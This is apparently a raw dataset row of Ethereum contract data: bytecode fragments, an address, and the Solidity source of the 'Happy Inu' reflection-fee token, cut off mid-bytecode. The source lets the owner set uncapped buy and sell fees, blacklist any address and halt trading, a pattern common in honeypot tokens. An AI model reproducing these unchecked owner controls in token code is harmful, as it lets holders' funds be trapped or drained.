610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220fdc9818fe108226f0e12ac2aaf04a12bc0d234d89ccc63102f138a62744764d864736f6c63430007030033 | {"success": true, "error": null, "results": {}} | 605 |
0x1b045155d76bb10c511f4cfd51b96a3afb4b0c87 | /**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
// SPDX-License-Identifier: Unlicensed
//HAPPY inu Is Founded To Revolutionize The Non-Fungible-Tokens (NFTs) Industry.
//We Synthesize Unique Features To Bring Collectible NFTs And Take Profit By Staking NFT, Community Can Swap NFTs Cross-Chain To Enhance Decentralization In Cryptocurrency.
//HAPPY inu Is Confident To Be The One Of The NFT Platform That Attracts Investors By Key Features And Affirm The Brand In The Future.
//Total: 100,000,000,000
//Max buy: 1,000,000,000
//Max wallet: 1,000,000,000
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HAPPY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Happy Inu";
string private constant _symbol = "HAPPY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x890A1927c4252Cb18bD658e735F981e0a3a2e702);
address payable private _marketingAddress = payable(0x890A1927c4252Cb18bD658e735F981e0a3a2e702);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000001 * 10**9;
uint256 public _maxWalletSize = 1000000001 * 10**9;
uint256 public _swapTokensAtAmount = 11111 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b157600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611956565b6105fc565b005b34801561020a57600080fd5b50604080518082019091526009815268486170707920496e7560b81b60208201525b6040516102399190611a1b565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a70565b61069b565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b5068056bc75e2d631000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611a9c565b6106b2565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601554610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611add565b61071b565b34801561036e57600080fd5b506101fc61037d366004611b0a565b610766565b34801561038e57600080fd5b506101fc6107ae565b3480156103a357600080fd5b506102c26103b2366004611add565b6107f9565b3480156103c357600080fd5b506101fc61081b565b3480156103d857600080fd5b506101fc6103e7366004611b25565b61088f565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611add565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610292565b34801561045957600080fd5b506101fc610468366004611b0a565b6108be565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b50604080518082019091526005815264484150505960d81b602082015261022c565b3480156104bd57600080fd5b506101fc6104cc366004611b25565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b3e565b610935565b3480156104fd57600080fd5b5061026261050c366004611a70565b610973565b34801561051d57600080fd5b5061026261052c366004611add565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b70565b6109d4565b34801561058257600080fd5b506102c2610591366004611bf4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b25565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611add565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c2d565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c62565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c8e565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611da6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c2d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c2d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c2d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c2d565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c2d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c2d565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c2d565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c2d565b60005b82811015610a6f578160056000868685818110610a2057610a20611c62565b9050602002016020810190610a359190611add565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c8e565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c2d565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c2d565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611ca7565b106110105760405162461bcd60e